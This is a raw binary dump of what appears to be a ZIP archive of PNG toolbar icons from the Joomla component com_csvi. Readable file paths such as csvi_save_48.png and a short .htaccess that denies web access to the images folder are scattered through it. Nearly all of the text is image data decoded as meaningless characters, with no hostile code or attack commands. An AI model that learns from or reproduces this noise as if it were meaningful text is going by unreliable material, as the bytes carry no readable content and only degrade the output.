$R·~t<:ڵku05F8Xi==zd["***uf Ƥ?G=Ҷm Xd&`P}zlT(G`C5zC _@GTtرGгgϓ<>7+z ,w]4ì@~/.{L ^rjvl7`KqeJL0}2z.M!_}8qkKGA<#tҴtlݦFO N:5<#\In dl9-HH2k:0xHԸ ԰˖-+W7=lٲE;4p<}(X0S 9$6m$s)a5З(t[Ù1@a4?e֭~ITXXx]q.S1 ºY rAHdGd:^w' +i5pB,X wqu\z;]'J$ƶ,<0Jd7L&\B d!q0:( YfHRrFOPhA槜8qlW^;PaM4C 9}E(! BC]ʺbd!Xr+RpppՀ2|7z1TxCCG$Yݎ?#}嗆pŁe !7"*Em:Zs}4I>hq-y2d_*z!K.{7 .#ض3ә,TM ۲8#'dQ{j^R6m*Ep0`xAxBy9Gu1α9G!G5e%lQ9%opxB%Uz*&QI 2)mq߈A乼$ ؔ~ ,*G^@-XjӅNL[l-3]T%qog#De0A<*^>Jh=xYw(BOFa &ԨB;P'p PD@K wۙH%[y2.uINj, `W`A @Hrqm޳@}᚟uI<d!w!00u%a9q׽89yCyaW.X<bƌn8= 1fbAb%k~g}vω_/8HԸ̍e\#8x@ 1(4>Dhh""22RY^E9tNPZ@ Z XV]lN4s=JsdO~<cg;pNJsOCfY P&}==Ct^A@X|!;Gƛ.V;G3-4M3Q=XMg2rR+ni[ Pʽu jZ JpulfE'< TjC ь w &NհARRnA@y Pc35h Wju HC||d} Tn.qk Xr 5q{͇cƌ qjAV'G@b9jh @rzK0! v ~lpQh`@M kA9UJ⍨o , mlfۻXfeMRZp;Y_.Goq4&71~(D c{4f5f}fd%—SYJ9xjf3ŠsM!3L렩f}Bb9Hr)5X1z <DDryG.i)5VDKK cf)k@1h΂J SS]p?))%'2]y< ; #eAaAdO$?vROD~;:ySr7KX@P&=Cl3'q@h^6IiC $aO:f`h^=ʿX cT7!6lZO gvе؄ km҂O"Pބ7q>-(>.`{3SӅ{ ` <ooFhˋiN2U DzsͰf@XN0(,h7qt \]t@P= (G6lP\D-K JP1* EتYVxlmެYJY Xt/`<7!W >.\x6sҲq bJA@ !hHp AGb n`"t/b `C, 0l~6dԸ+mG)lU @L-^jFOW Bޕ@zbFy0bmiYw/dիm͊ (ǃɳIJkC9ʁk_ыd HM08L _踃fz v_0Vɱ;Xbo"1sjS ¶G̠Te鹘F:M9PX o׸P'^ܞ{f!s,J2NLo%uؿq3˸^, I,+rMF"jiFƢ 0RQaY  d _: JY<\)IP`C9Z"lWkd}+yFuKf WuiA@U(t$@DhZBh)>f,ͨDh$]P@a6 ^/ئ1N[++nŰ go`@!{Jt-JFћ; }fFFq1&^)hsn}YenB֥ S.ٶ:b8&gr]&(l7Ղ8Ӆ&.3Gf$ bYQmX9P ;k25U֩irZj+jQsUwdHChwER@a v 0t' չHJ#>qJ() zbAAP^خԸg*O* n By-4s?@O Et)B蜞 Mmv mw% H"tnP|k(ML!̳0d# A^رeRh޹֋p5lo} l ܃8Fy]m+ 3QJFH3/%}oܽVWAjxII_G38wG)p$ qZ/$k\[MRrێR<>)3M0zDz O`9#R͈fDV32,LjR<Vl_lFdFf>[#o۽|v핛/ ,ژfVl1&כ/fŘNW6(Iof{JZAknĠ<yd2(fuS()XoEK*:X=O  $S^85J=IvE$92ATel{֪/vv/x uYnٶk741 Fd{4R P>OPSt&)m!GY4Fy'T@=PWqEΨD  M/d*[L5, Q1ڎRgo` .)T ʈ1C7C*kva1;pxyĊ3-jI6.jcoF.Xݲ-f}<;_@H؞n1'%8}4dԚNDxAT ]TwJL_ ԓDs_Ф mc!m6qp%ɓ^x8S 4$XCE[5uynbmxssyj5@Ih+d:0U;z,fڎe/՚^d n4P6Skm5><Qca-yԺ@U-,2{՜'fYҠ#1ۋ%_5b<[Hv7G9,# GW@ÐZq:f(V\׿5FR~ӜzAM1Bc + Px!w9]wY\1)ȺF)CG\$݇xJvc'YҔG= #inϛ$zY <pRVj"%pxWX, ELUVtCy@Qu,՞=hFfuW4 Xj] [g/5kN_%$Qqfµf5h8-tԴaQ!x&ak.5  k  f >'!$r  8gWBD4CNjEz`!@y` ForTg:s Ϩ$P([gb GP[ z+ଶV^˜ N# eBPu֑z/K4}Qee̠ef 8L[o/]m":Ư5J#'ڟ P62#:3dA 1fGnMIL{FS͇G0xpox@РN! .5m@66So27xܳBy[+AUB`0C(?GmAyjj٨\h<Ÿ NxB.y*GpUN^^yWtvӛ|E?x{q,sי טaQf^jzZi5w]Zj{'(eh3x^ mύ@ tt^h>;m  P% #?A*_\I@=j6< WTjb<O:B@ xnö]= p{R+*DjrәW6CQ pZ MGz ӨnO8h~ntUn'Mv}Ճp! V̰yf8Y5~vdYHXDƬ13VDkph BD^"LwLG fb4iq&pX*jFH10@+@xi%dxp A>3SI¨:Σ,F[H@C>pk==jR?FQ+`~{E.z 9/ALBo)Ԍq5D#%CJ{~{ Uw%Q?E|Puvt+.n̿jsz:ZʨפְыiT #`b٫M9kLz7>h~ ̋4CC#̰0 YaVDDA%DFǘf3<4 ns#@3ݧ2]&/ L[>zt3{ua.W%0pf]zE.#L(}V37 6q߃BZ|sL?sϸS˸P`e @z 3_M_i :O\l:oڐ}ƛ潃Oe_ Pϭs^vOㄥtYnL]am># 5^.j \jca2~0cS96Swд=״u&@ }׮݃kJ`ȱ5/%זvcS?W0]z=fS޳0p/K{?-j}~oj~=@i@|>ϱsЈ' |<_Sx T §#kCL.]`:[d> h BVb+d_y_.>`dLi˱[ &4lZ ;+\}+6bΏ>6{y[f nD -q[Eӎ~;?[uȶ2v|qZ4Q n;8c+ wѾKǰ5?2OOD-$ے\=>f <5ۍ{F|ֺvW/9?8LfKZeWb9WWD |>pJ@f킦WM~0lbpy)m?"q;9B3B֮g}ֿQXXwyg5k^L۾g|oᖸG.9,[ )5Si^c[}5rP=ohРAq0Rݓ.뮻4lذVFCQ?swӢӛM?۷EaZ~5jk˞c?ѲOpf9zo>"h{f/k>ī?ˍ}}GXw??C ~`p'we {jb{͏?,롻|0z 0\O&0F 6a?D8?F5fqc1s71;uQlmyمW$yxZp$o3ν{-0  S;]zk ja-^_u Q =b}Coȶ 1wC^.ѐ74S y FCӐB8RR/hKCj!hGWй;5w]Bڄ jwsJ1aa7'@n Ԁ X߀` xLހWA5UO xK6ӀWM'g;@PhTp~ k_gOGv`p$zP|rK5sMYn bwa0ʟRKe}gcy}S}^TW=My{}XK^o}kmE}>B}P;y* rq;00!ӼG\ξAooww;1J.K-^㭋pu1~]^YIuuyUx]^TWJyy}```]P(uc\C]_W0u”;V`p30?>xX|2KïAM\7YM|3-uؾP`u0:z^]O>uxQe~߿8K-{myYh:Pq͵89:„[n73oZ„k?+1kD~5`w`8 ux{0chРAu^i{L*.\:'AA0`p= A-`gPEWf P k$燑_C~-.??1Lg{|\{ ؟ǰ1p ʹ RNvO< ^9 H MiQ'XքZYK&͞(j5k5Sa~x~Oq ?cè;xWv׶ڏ90~\sNr~x$~xj#aG}jɓ~5;eQ=wYIENDB`PK@y>\ag993components/com_csvi/assets/images/csvi_reset_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTEӹ䓯#N{Imܳ|3a勲uBv鄣\}V}꒿tEy`~喻ұjcm֧I}ٵ¡9dUt4Z:lYFum@dsN͞zPDrc7PpU!^S{UZ斊gB<( ޙX;͛lYI[&U-134lyy '(I7>WPvPJx&PEͺ6Q%,' Ͽ]4‚E(T^˛,#% "a3-ZsnIe,[RWW6ZXXH"'#Ųz%#XWzP*!a9zk/\w ,Y+9mPǜgIʮR6m%jRfe2s_͵Q/fTVW.fбOUvi Ij\EE4components/com_csvi/assets/images/csvi_cancel_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<PLTE㊥vǰӨggɑϱv[DsݳGy꒦>oqDj`dr½[{L~dܯvէ̤Ș림Crycs\vڝ䖩ֺ_eѷ;hs8a즸ˣtRNSJ IDATxbX6-"F 6k.+]l0(T_\LH+JNns). 2k7lPX.2AIƋC3<'%s{Z{ 3m3KR\)նЊGh*LLLM ։nƖA &v‘sg 2ɚ$OLL5w:'Ip+0321f3{.seBAV֯wpOU OW?bIENDB`PK@y>\JM 4components/com_csvi/assets/images/csvi_delete_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE-Y3\2a:a=o:k7g[z,Wib@rBuNp4d/\@fGjpTvTt?rb2)stRNSfYIDATx|XSWoa$%@BA( T@BdYY u!I!vYaQ"*UPRC\7xA;ι|7.J F>'G,Fo?(Bg"W}QLn҈8}`07QIf%-_luNN?;9]ti \V M[ZPoj*zJԮnxҕ?HWOOWWPP҃}0ρx#?}}}7:;nok+-mkkJHq*I T5gI"5nmvww0;E@Q9=EE$+1!PW\d+YId0dr8ūbp=/pA墢KyP> {`($Nr{{nEuPLY){-FKmEW:99edqqqsKD`-hc]\ZZ !liM???H7'OφGh|]Ȉ{ (Fsu==i#.@Lu'il (M Lm ;O==OOk-FF{ʀ@Hȉ]xd1ˀ@2ߗ |D;'(wnp0Q"$ [BNM2ߣG/'"m66Yrx.%mjlrB9sO exeY\^n[VqfR[lfffP}n]EquwoFjkk< gJGGXQ%"Zi:*FC]MͩSxԀ;:4t Ό>2}\5׮3;[qhhh܃~n{1g!ȀLo'&rg6ޖiΌ*'ގޠu LOvr 3=8Mځ0ۙB٢IA UљyIXJvL v/$2PcG ǣD61B3zJϭZAT>_E*،N@JO80;{*_H$?Z]]"QQRajYPS8zFGTP^^fJ9!QWX +-<&G(Gbc"JC ]ˤ^4Ba@w*1{?0GMZRS _-A &9\ѻo9GɑQnP3mUFT/G/2|&a;IENDB`PK@y>\W9components/com_csvi/assets/images/csvi_maintenance_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<PLTEq>\}]vəh&HlPpg]v?]~]u<\}l{谾낕A^~kto^|\{`{᧺ʽIeEb)Mq<[|恔Xr@]~暭Ǧpꉜ㒶̛ꄚxգj߬Yr^vmpĬџء䬼C`A]~MiitRNSFIDATxcKI X9S /1dT~{BȔ.bOEkl2x 6P[|,ZDLm*'7H4efnJ) ̹M"h+_\^i$j! 8:RF`yu = %pͶtU-3A(VԬ?GwgŸrщavWs}Yz& q i$PSIENDB`PK@y>\<_7components/com_csvi/assets/images/csvi_av_fields_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTEw疓yxנhsݜlɟ~ޜkɠ~ߴ߬ݛkyx뻨ç㇄۝oǢkv߰򣜞֦嘔ctRNSS%>IDATxb*|'yX؅e1i5-O?]ڌYΛ{;;;{|?<â EA<͝`߹@rBZ2ggonnn=)ΞyYdoQ: *1gꀠ"(gV#υG޾ ۳T1sûR(}XTБp_ !!SKK88l`sQMD[8(Uu0+gTZ#|iɓ'nk<A30gdTfuf-F=挪Do^L wVVIa7wݑQŐQ;YV^M޽ύ}IK6yDYji}OWΧFzH(8 TPR"aŋ͢@[ėTMk2Ֆ{8~2UFA x^z6ڒ@%Wc7Kv0,*hccd4-m9L(҉^5.be6ǢYN`ָT; u%L0Hھ ]R_fϾ{fS0 uww@,AӱB \ Gt0^SIy?p*TXr*1FbVa3$([ "zQnˤ‰`^X'[zUNʶ98\j@[ZˀjʪA拣d=ez劭 t ZU^Zz^31r7;ym\t! `("IENDB`PK@y>\f=  2components/com_csvi/assets/images/csvi_save_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTEExBu3\-Y=n[zTu:k@fp7g?q:a2a/\vbi4dGj@rNpoNoTt:_+W4cHkTatRNSS%IDATx| \e_jm8 D q :E<*5 ]JK6.B`Ny١Yt,#J"2/<1cF(ӳ S*I02g0l<G]F#!YY.zqŀ&a}kAp?YYYl;;#H`'prڻC`t p鷃nA!8*!ܳ%!J'&3!88n߳ KTe\3`ܸ1*[ zQQ(ѱhOE= Gxc0zBaĐ#(q8DC""ZDF2PC=3ʫW".&a^~P%( QZ8q| ]؛7ϞUhll@kIb0 X~M@#ė'S0ia|%##k֮=~6k׎+/6G}kFg||Zf>BBid(+LJy 0%%B&Q ծ]'sbkZW**'WOHhook;kݙ+m/u*jbn%}RQ+m 8[-0*Wwt6?`N}XMl"OZPNA8yii/>|ZǓ=eE&Cgc64+ /i3, 2DUgRAJKWezdwr%pjA> oit {V JWTTTj\x*Q"T 4\9components/com_csvi/assets/images/csvi_log_details_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTEHoxʜݙڤֲڹ杲-YQ뎫6]aߠBg:iGy􍥽n㞶ҚUvXׯQxhNtQ|ի䇱ͰXxlݳϼꁪǟ䃯˘X`xj{Ǘ]]n×du焜DZܴi`~ݠ〱ЃV䢳ǒ٪katRNSfYAIDATxbi*^ܯ'mr׃e1N WTL(qNI;yWO-yIS7 ;;聉BCbDŽ: Re'V9ɮ.6knkݡ ]zum@0qbmmmLܓ TVibU{O*Vrpe߮P ΛT '~DmXXںb{n{+q0ÿȼW> 87|}+L*^fH-/3HcdrI1<""ZV _R(%u"" umYZ|qϏ-_6!#Kq` +2\Q,222| ~OW>*hZ8̌E 4 TLknj[Kse G#L]?wF4C|Su;Y7QsV_S2,Ld`9GnmZZG..D1M03]m{A6 mx Jێw yym7#K\-"nbf%V[?|Xő/YR)2oN'#ZL@!{O%{vÇv&f.H'4=?Dsr~;e,_ eĩ̼mGhP H ԀCzJ^aj&t=Zj" 6 0r7/3$=B nIENDB`PK@y>\JaS S 4components/com_csvi/assets/images/csvi_export_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTEbEx3biBu-Y3\eG{=o:a:k7g@f/\DwGjNppNoG|v@r+WHkbo|jvtRNSS%IDATx| \SUǯ0!Q2`6LSJ05塡(AV84L@wjTd=tn \P=8"S4mR]#\ϋNYЌ^NCgWG=Jw>mk.$`8aX؝w4|vI A47sI$^> Hkp!*E$&Q|uw{m{>tCqIQs &@4I@wHPT=%>~hӴ+9+@;9mm̥͟ iu<辰0o{`fc#@ơ>-d;h4228c|.s==699h\&.[\.dpbWGNC ! QT- s#ـ?&,dr0Bѡ #ȧ$QdeeA2^(PiC1II'o,c86,a?)<<nZK`[X,i3pΜ9yr padjw$f ~([ocb}!`t~~~TlI|: ccAER3U[bccߚ͛P5Aûvv-UU/੪+^aV;IPt7E%'>789N/-Oi) S%` ;P@9}oNf?f' vׁLp'ݸ .fNՁLJ$u ,d ıXaⰆu눋OI@$%d~ݥMW>2t)3u*T N*ukfz#<,LW?5zJ]z֬q <ՙ~~~vJiyTzB*---V\lR ; zJ}@avJ  TV>jCCei92OT4BE@Yxʰ@"Dga%VDPPR4Cķx2:v2yApbXb_}=0!Lxollҥnn< jǞUbB~d*\}}c簇ǸFa^2#*dbeMѸJu/ K3ހ>)irC_G A%Ո峳'UFZՏfXme:8h-09 J6tjXm #Fi-}ha4,4rEY/52@x(k0/>s/EOp25 xo#%}v/h_=IENDB`PK@y>\3components/com_csvi/assets/images/csvi_clone_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTE~YVV6s!뭵&( W<(1lee3PP R6REلNDr=R-Z oׅ*XdƒZ[MS[[[OL GNHﯞ [}A^B_C;58:.a+am~goUb'_ m=, sN(l6;iNP)\ |~ܪ\)/*eSVWgPU#y&` hnss^5^t8m+ZyOAYi`~6|8vsy:O 3i}oJe& U&mp?CzF\u 2components/com_csvi/assets/images/csvi_back_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTEV-Y2[i3bGk䙵{M|ޫOiIuDhAs;kƞd`Tu:a/\@fNp7g=o[znućrԚQs=tRNSS%IDATx| \eǷlɘ0q_S D.cNRLK.1!,M&)l@8W2@`RC%%Aa%eY6y}=M'I-WV7|W͑&7|2GP |`JdE+4Sb֡#Lz=I]rڬ׺#t/bM!k9++hF/:Z葓Z.; `Yds02\RFFFNee,*DK˲2=p&4C1 ;a2,R;>-0>Vbg<YBBLV_[#9|0pG1>L;݁Esh!7 erI>դ$ڼHS%&%].WAKKOclٲ$d^`*M \%z[yj ="GЀ'="Bߏ %T#CnXw^ZZjkknT _WXYھ\O آZ[!ێP(Zcc(H8ֱ.=(oܸo @Y:U J[6vm]bPPMf633ll2]\\@h =Hbcy"//O{WAFvAW.l#&βe:#;gyH#܋Zj]2*;bY6ubx/@t,do˜JA<4tV̯А @$VwaLPh04$?'?9#1 b2zJQ @G.7弚M&&rQ3xLcC)<\alRQPyz8߲UFҐ+e6Ad+ kEn^E=DQr5(Bk,"^ a d M.)fQ!BT3^NNR %?m9ô2q 00K<$IENDB`PK@y>\z;| 6components/com_csvi/assets/images/csvi_continue_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE2[-YY3bڢr䙵zM|ޫleGjIuOAsŴ;kdQsa7g=o:a/\@f[zNoTuNpEpulܚIqFtRNSS%&IDATx| \ee &cB00@!@B͸ r"y&t%l 9rjP'fAT+.qLPώy~}xOgc FwWaLfl^Lϑ**KGT(0${4nEfZzØㄨ%͊~狞9MwB!F)"=fY _MssOb +LYu74r7u@?) Mmmun3ښOF 0~⻉45UIUimY4̗CHh4 1qtZȷ#(ZrTqhpmMA\ r)YgDp4ǥBo_@ e fxx`NG3 3<'vxƥ6t_N< d_ Ƞ׃rxח~+NNN p SJp"׬wj^ 5#99S3c +:;#S 鴳so+'13otKƖ p,g5EV] ceElOϑcҭj\]ZZjll<.r*+g1 {z,,>g{~8山(fp,Jm8~[|6.Б zUAAйaO[Y|0c8ONqwwlEPwD59˗dh!`~/+9jtS+|}W\&؎x߄ C b]{J_4?V*o  ԼCSRwLHȯnp=)//ls Oo^X6i);SH$4nl1l А]648xv928Hj;!???n PHKKV9]_Cvii4?Pn BhIIRq2) Ul[;I͋P :#hjiP(v!Beڄ8TBp{{rkl0j}xou|Y+ |'RBd+69 :=] ڣ2Z... >DB_Hbmw*999zZj| jǭ 1ȁb=>lYHxȫυ@/ uƅ{P˝TK Q%H;.J\ׅ2 ud/HvyO/dSo*A2<|^5H̬f% yNȇu$B.ͭRtP#|a-&&r38n0rͅ-VS£[ڨQr7B\RyreWM1Rn.t?BtvQ@jp]أ *(,B &LWpf CDS^N\Mk==4components/com_csvi/assets/images/csvi_import_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<PLTE됦zkrڭVㅪƫvɎLԶk얹wʴ|rzꐥ㢵o㠴z遲Љ䂜{sCvŢq䦼ϓݔݸ㭿ЪBv PԂtRNS\dIDATxbK$28MC@l 649I*۟ ,Y_̜ (n^e@$"&%"K0KrJ+|lDUx5iHdX?qfh ,U/vd^+nWV2LK0Q/bqCάuaiS:yT*D[-{M h)e 1Y1=|@A k93rL{)Y_H@ TlAl(U?T|IENDB`PK@y>\8V[[2components/com_csvi/assets/images/csvi_logo_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<%PLTE;3'tRNSp IDATxb ҂\V @\3U0~bЌI L`sYMer9X=f1;@%;Rmm/+M;. YY*ʈA%zBBvN4j-.]""$v.CAxvD cWYgrs.*`.w6Xrg]) >6e-r) [F0004-b:}"W2wi`y9HrY@\^94components/com_csvi/assets/images/csvi_cancel_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTE8hQ}~t4bZzI}\MnUwݪڴYU,YmbEhUz=elƷ1[y}aj[ڥGrCmDxBufu Ͼ톙 4U{rgF__ ^(ysoҤ>0kҐ@PoF}}}7)i,WWީ0 ^ }< |WNsZΦĮM9>wL+,7-%:%K rSlٜfT`R͢TMcP`PӀb* ثq]g{"/?-uॊOd'{NOfd3(Ve?ݭ-*-+czqaj;io= 7k8:fa𩮞GEccQWQ{2'rjW:-4oBJ=w156.0a„o'@@(5ͧ__]W-Hxׂ6oɫz^20tXet_jkCLOGǗ/vH߿:Hx뜎] [:fK;'v%Ďƺba~MI~1*)g']V ˤ> bkdfcWU|<yT((YF$ PEΞ=w]QQsF+(Pah~A^8\j:uRIŸ?)2^JW,SO:k ,+Oa ` ab9? q$Q 5Qf+ ʲE˼ʖl jV#w~K ?D"D >Vh\IENDB`PK@y>\x!`3components/com_csvi/assets/images/csvi_reset_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<pPLTEK~H}h7^n޾׾놠킱͈c߳鋽ڟޒ醟a嘱Ɲ喴˚ȫކԏ=o>o=f~̙]鉷F{[zcI|0^\~ڸ?eBr[y}ŧݤlHjvF{U1`*V^ގ'KtRNS^IDATxbSEسsl ` ŒNeG8,%6pps2W12m9dƿnNX4׎y\0,9components/com_csvi/assets/images/csvi_maintenance_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTE㞴0Ru줺򎢶9Z{Xr䓧錟bzDa䜭{qUodulブnNiMi~t&Gk(KpOn殾ͤY}i^vNqr{7Xy?`ݯŔ4Tvyyw?]}WwWz.QuԽ棵m٩rsftRNSS%IDATxbzs|[x-U-z+fφ3@sWjcwr=>z8`Wg%pUe+z= DU{1gL|BKZƲ+$+?Ve Q0Z2'3pɽPu V0GݲomI0 US31v T0Uun@2P~ߚ\X#葜2|-į2vGWNk-g0gּ >?.2Q w= /_.NJan֯o7Y\}cNz&#w& /穾W?C?q|*CdB@8q /m\h_? ? 1components/com_csvi/assets/images/csvi_add_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE2\=dI}/\1_4^.ZG{4]/[^|K7_0[JmrWwxe?pkтG vRHyW$L+"Qzܰdrρ1L$bD FHw1uzz $g#() /)!aS6l AHޝ=/eH6 b^wkקdu*@8Aٞe{y:bI[[D%ؐDR ´mW9wݿ: ,_X([KK/H TJ%?Sr6l(-|rJD-h֑CPhω:@wź4sȔJ#.D/=hѢ/P:_j>>Q}!!!:)IPIII>w{ROP'>))HnBdqqղ#7j};w)݃쒶p5v%XRrs?DZ,k+++TPɭ e$@Ys||X˗)zn}T ٙ s|ʒ*ZB\wj T%(I!˺ qxww3g>f"mUrjh]*d|U*""= T*զMx"B6<̩*LKGy%%I\^eѵ*IɒL&A"`*kPYxbm,`p( ڸ eU &5jd/DdgC/{-VD WUCWOWު LUMΟ;y oaV5r dO砗U0 %Yzeί1ŧ%უ,'QBkIN>n>/(Bä"j%IENDB`PK@y>\\,,7components/com_csvi/assets/images/csvi_av_fields_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<PLTE㯪㥣콰繺屭䲧񲪤水姥宸曪让䯩帵촶뻱㲽㽯V7tRNSIDATxbX rb,\ 4components/com_csvi/assets/images/csvi_delete_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTEz:k۶ּUu6a2[䣹͔yNtv六ɦ۪芠삮˼뜻Ұj-Yv򍣻㓴}ΆCgިaQ@s/^刢狦ٲVəǘ銭xLn穻ήԴ宾pgw|̢ՙ솞፻֠УװuFxBrtRNSS%|IDATxb {%e10tv9 -}zaI6?ӭ~N7oޤu<BQSavW㄄ͻ5ܽkhx]릜 &6Ɋ.sw_澤K|Su5{ŭ4[[-`gx!&9,ƚYݢVn孭=T{tk #ݭʏ-y{~֎)2DmrzuΧHlxpc?NsXX_ROqvu9P>s:X,'ʀK+B!Ur '-|5bӊ?\֊0J}h1 ===J\篏wZ+1r;{32Ƈڑ {{{;M0L>55 6qqCpTT do>/]-b6gc|nϞYw ٳ7?2*v;6-6@bɓLn|ÿ'W/U0QUI}?$wBW_0ٺL!I?t:`ɤreyuFfΞ;"0Q] Ys.7] t/Z4e^-h-510 H+dIENDB`PK@y>\CeExʠf9g\)V 7components/com_csvi/assets/images/csvi_av_fields_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTEuЇONp:a/\:bb) tRNSS% IDATx| \e_W8Ƚ90+q"w@)X6+ؚ0b:M.  tZYXh~n\2lsrt~e$q*ȲP444tvR327d`hB"FgbSsܺukddhzb;#@A gI%0{j0=  -H%Tik?ehkWƾuKI&{o*@2l8dv2ffȗ~ 5\O|'<퓈;Hgff )~YͰw}}3$ #qL ltu4,oO3w ]G~Sb&&Nw ;s挸W 0,wʩD$b>AQ6kabjj:*SN6edz@l6'acc9*++kJ`/66;Lpļp6翣$Ӧ͐ Lf|)4] zL gmϩ‚9W?`?.7W~VC:boဠ.尿åioniamlR쉩>9oi)S}||J nԷs8 N]cl,GOOHR911qӓR#ٜz TOo?q`CzzQQQ]ўޔv2{ ZZvX*tZZZRA!G8~4btuEZ º!!\7oloJuţ`` $TdCVzyѸ|{E')G,/Ub"„c"""V.Cjn@4o777_bUlm9ϼ ʤr^,AQPhkk 5 ȠM(s0N*JOdxZә[ ?1 H\IY;6U U 4components/com_csvi/assets/images/csvi_import_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTEgHk3bEyV:k-Y3\_厽٤7g:a[z뎺@f/\DwipBu⎾@ro=ob]O~Np扴둽ٳTtTv+WGvtPmtRNSS%IDATx| \SU/ kHmIӈ a%!M1"s(>UTTC(].&@~>{s~{9s.2=p'BeATfd^yg"%^e$6楴UP `5&( p.ǎ0(!|h'rrO:6Q+jnq/D55ܚdVlimu>Z[|%t+WO )P4M-lL@qP|@( [lM}Ǘŭe2(OEwp*@zuN(pZ\\sx)҅11ffCCGxLLdd[$5;]%>5&&Y},-6rn_YɃg1 }xvv􉉭UU󄪪v E"PT8x))tzY;!{8MxS̀C}8oo^:0INK2Mbcyp8޼"SL:0I[LX6m}Xazb0|Kذןч6r1;յdH,\T'پ5;{>llW&LWWs}@~Zlh>wK,NG+2}(P:##(aʕ&1!XPHHH0ptPՇBHHX B KlL!okW˵A~V> b\wwo ϟu?{?<,(d5;uxWKc0_7"#:j'ђ}}/|3|}ђh4]1!LL028,G %82@$K[ی Ѷ[%ҭK nF6m׍P6,zM}i1~UFF/HNY[IBT02::q'1qK *fWo v T`RY|b5* #C1ʂ%j3:-Jgk 5VeA\^yD;oSƌfbRVoy=ۮGA0NB9z,NÅ,zn`J3JCVJlpyu q3%!̀x'x'k #$XdnAXݏ'3e FuaeIENDB`PK@y>\p2components/com_csvi/assets/images/csvi_cron_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTE$9EӒj}ẅ䆆cde@@@㳲㛳kkkbhlGQV")㼺*2 }0CMޞ ⊊ 2<\]]Unӥ5>B⒱dmq())-59Xgq~~~333-..JJJЛTVW>??6C!QRRz{{ぁ `fj6=?''')15'()өWXXO^gY0:ެBFGi#&(vvvۊ.I_3I_+,,(\( 2components/com_csvi/assets/images/csvi_logo_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTEN tRNSfYjIDATx| ֖F"!j@ȹGkQm䚽mE4^#t91q\GB<5 &#Z4zj픜\8ǩN#rutʹs-,^2x5dt/02a6 #O6G((/'?x^ a*hNNQM ΕBz;/g.v׀б78s Zk3}wRTנN%/X̼<3l+OT-s۶m̴ƬY\_RXC:&¸z0!NPNʅj*>.,_n OP"tL&C{74< `;!Jc:s?IN5TS[ţ:b P_P/LB'$鈦55 /a=R[! &6hh@kBu`V( G(dWK?|lj[8 !Į| Qti$hu7btIENDB`PK@y>\)+components/com_csvi/assets/images/.htaccessnuW+A Order allow,deny Deny from all PK@y>\: 3components/com_csvi/assets/images/csvi_reset_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTEԘܨbk􊢻Ep4c-Y\3\:aQ|[zI~:jExt@ePs=n2`NpMTu7g|.\G{BufZ@q⡸\ՃwOu@pl`T+WipG|Gjv@r:__n߾솱dftŁɐЛәKbfպð1tRNSN!DIDATx| XGו%$$*d5hA H$P)&ZRz$b[#"'." JzhպOI@,7yв=+gc'zKog3?Lg4%gzTh}P/G#*HEyiZ E+oRMB4ogG3 )\RPJ+i'3Y,(_B$*>=NPbTTR[%%(ĩ`4Mdt%S^7Nٷo%#PZ^Αt hQ!URݻ7%%EӥݫRC}VQzԴi,:3-6v0"l12$ϯI{+僀! 1eeee.l40p3/01.| AcP;/T1Z-YI{` 0Z%nݺK.Zȗ2/tHx:Ks̾:ssT099_ /)Nt1rI;d755:멩WZM2\Ά'=c2%KءW\eh([n|oL̆Ŋ02  ߹scg̘aa YB;߁Ylń)_ЀaX(ր2Au:h|~vUDDijwt8p|=д01dbʄÇ 0ͭ@}O8m}##EF?~_OìFziq|Sg/z hГEZF{ib/G Y=i]:-{P 8 vz{4$$Ę8;$䋣GssC˗BGE؈ ?tKwѭ\'{o0TQ(`cظ|Nu#=#5!}^OQ8@{QzJy5000Kx"FaE!)hРAw333'virf渻 ڔwdA=<ʋޱtҝfƙNN":yNԚt󇠠[PVLjmmEoۿ6;e7Bۓ rPWT W8 dk6K&%oɇv7t D8'.;$;q~{wʏ`q ]pwcc??qvm<.Q4s#[EyH$vX'=:ok'5DZF9;J$ͫ~ҥ63VRE$hյ$vmh3ݻUmvԩ8SaM?@vif"4AuAM͑#Gjja6G/'+DhjuA>V `]|uuh`! _w|vUrV$)N<`5&9ӳZׁ\HBĘb9!׺$f%, O9A GlG%Hou'uIENDB`PK@y>\@1components/com_csvi/assets/images/csvi_new_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTEդ.[5c:iys嚴礽Ѥu8_}ɯX}sg~LnUuaaeFltRNSS%GIDATxb§:vX܇e1e\D;]ڜe'uvvN>QOJwN :Dyx;4ٛu tYsΗ'O,*`asa`6xʪ?,籖׆f0(;yV[ 3vN 5?B@n))>Z'Vai;{+p͚ra`51ft0,~)zkWڶS0>-ٳ2rRs2Ƀ쿪(px98s?G6:ho2Wn/~ T8LXsc@pí˻ ݋24WX.5>.MߋGכrqZtѬ 